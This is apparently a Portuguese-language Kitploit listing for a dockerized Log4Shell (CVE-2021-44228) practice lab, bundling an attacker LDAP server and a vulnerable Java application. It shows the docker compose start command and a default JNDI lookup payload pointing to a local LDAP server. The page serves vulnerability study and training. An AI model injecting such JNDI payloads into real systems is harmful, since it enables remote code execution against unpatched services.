CVE-2021-44228_dockernize — Ambiente de laboratório dockerizado para praticar com segurança a exploração da CVE-2021-44228 (Log4Shell). Inclui servidor LDAP atacante e aplicação Java vulnerável para testes de payload personalizados. | Kitploit

CVE-2021-44228 (Log4Shell) Ambiente de Laboratório de Vulnerabilidade

Introdução

Este projeto fornece um ambiente dockerizado para praticar com segurança e entender a vulnerabilidade crítica do Log4j conhecida como CVE-2021-44228 (Log4Shell).

Principais Recursos

Ambiente de teste dockerizado e seguro
Capacidade de teste de payload personalizado
Inclui o servidor LDAP do atacante e uma aplicação Java vulnerável

Começando

docker compose up --build

Teste de Payload

Você pode modificar o payload na seção de teste de /vulnerable/Makefile
O payload padrão usa $${jndi:ldap://127.0.0.1:10000/}

CVE-2021-44228_dockernize

Mais Populares

CVE-2021-44228 (Log4Shell) Ambiente de Laboratório de Vulnerabilidade

Introdução

Principais Recursos

Começando

Teste de Payload

Como Funciona